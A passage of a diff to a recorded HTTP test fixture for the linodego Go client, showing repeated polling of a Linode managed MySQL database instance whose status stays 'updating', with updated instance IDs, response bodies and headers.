https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21020,16 +26085,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:11:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21045,7 +26113,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21061,17 +26129,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21084,16 +26153,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:11:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21109,7 +26181,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21125,17 +26197,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21148,16 +26221,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:12:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21173,7 +26249,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21189,17 +26265,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21212,16 +26289,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:12:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21237,7 +26317,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21253,17 +26333,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21276,16 +26357,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:12:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21301,7 +26385,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21317,17 +26401,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21340,16 +26425,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:12:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21365,7 +26453,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21381,17 +26469,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21404,16 +26493,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:13:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21429,7 +26521,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21445,17 +26537,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21468,16 +26561,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:13:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21493,7 +26589,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21509,17 +26605,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21532,16 +26629,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:13:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21557,7 +26657,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21573,17 +26673,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21596,16 +26697,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:13:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21621,7 +26725,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21637,17 +26741,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21660,16 +26765,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:14:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21685,7 +26793,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21701,17 +26809,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21724,16 +26833,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:14:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21749,7 +26861,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -21765,17 +26877,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", - "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -21788,16 +26901,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "646" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:14:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -21813,14 +26929,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"mysqlbackupforlinodego","target":"primary"}' + body: "" form: {} headers: Accept: @@ -21829,10 +26945,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254/backups - method: POST + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 + method: GET response: - body: '{}' + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", + "port": 